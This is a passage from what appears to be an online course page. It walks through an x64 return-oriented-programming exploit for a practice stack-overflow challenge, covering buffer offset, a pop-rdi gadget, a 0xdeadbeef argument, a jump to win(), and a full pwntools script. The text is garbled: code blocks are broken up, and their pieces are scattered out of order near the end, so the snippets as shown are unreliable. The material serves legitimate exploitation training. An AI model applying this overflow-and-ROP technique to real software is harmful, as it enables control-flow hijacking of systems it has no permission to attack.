Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. artificial-64
3 min read

Artificial Jumps (x64)

This challenge will prove to be identical to the last one. In this case, x64 does not recognize the difference between Artificial Jumps and Natural Jumps since we load these arguments into registers rather than right onto the stack with the return addresses.

Trying This Yourself
Feel free to try this one yourself! This is very similar to the last challenge.

Because of this indifference, we'll follow the same exploit track.

1. Overflow the Buffer

nasm
10x000000000040119c <+23>:    lea    rax,[rbp-0x30]
20x00000000004011a0 <+27>:    mov    edx,0x60

From here, we see that it would take 0x38 bytes to overflow the buffer.

2. Find the Needed Gadgets

Checking the disassembly of win(), we see we need to load the first parameter with 0xdeadbeef:

nasm
10x0000000000401157 <+8>:     mov    DWORD PTR [rbp-0x4],edi
20x000000000040115a <+11>:    cmp    DWORD PTR [rbp-

Therefore, we at least need a gadget that loads rdi. We can find this with ROPgadget:

$ ROPgadget --binary chall --only "pop|ret" | grep rdi0x000000000040114a : pop rdi ; ret

3. Writing the Payload

From here, we need the payload to be in the following order:

  1. Overflow the buffer
  2. Jump to the pop rdi gadget
  3. Store 0xdeadbeef on the stack to be loaded into rdi
  4. Jump to win().

This makes the payload look like this:

python
1payload = b'A' * 0x38
2payload += p64(0x40114a)    # address of 'pop rdi' gadget
3payload += p64(0xdeadbeef)  
Another way to write this
We can also write this using Pwntools' flat() function. This requires context.binary (or, more specifically, context.word_size) to be set. This might look like the following.
python
1elf = context.binary = ELF('./chall')
2
3payload = flat(

This payload should successfully give us a flag!

If your exploit isn't working…
If your exploit isn't working, remember we may have issues with the MOVAPS instruction. If you don't remember this, check out Buffer Overflows Practice 1.

Full Exploit

Combining all this, we have a full exploit.

exploit.py
1from pwn import *
2
3p = process('./chall')
4
5g_popRdi    = 0x40114a
An Alternative Solution
An alternative would match the last solution: loading rdi with cat flag.txt and jumping directly to the system@plt call inside win. Feel free to try this yourself!
30x00000000004011a5 <+32>: mov rsi,rax
40x00000000004011a8 <+35>: mov edi,0x0
50x00000000004011ad <+40>: call 0x401050 <read@plt>
0x4
]
,
0xdeadbeef
30x0000000000401161 <+18>: je 0x401174 <win+37>
# value to fill rdi
4payload += p64(0x40114f) # address of win
b'A'
*
0x38
,
0x40114a
,
0xdeadbeef
,
0x40114f
)

flat() keeps byte-strings the way they are (i.e., the buffer overflow) and then packs the remaining integers based on the context.word_size set.

6g_ret = 0x401016
7f_win = 0x40114f
8
9payload = b'A' * 0x38
10payload += p64(g_ret)
11payload += p64(g_popRdi)
12payload += p64(0xdeadbeef)
13payload += p64(f_win)
14
15p.sendline(payload)
16p.interactive()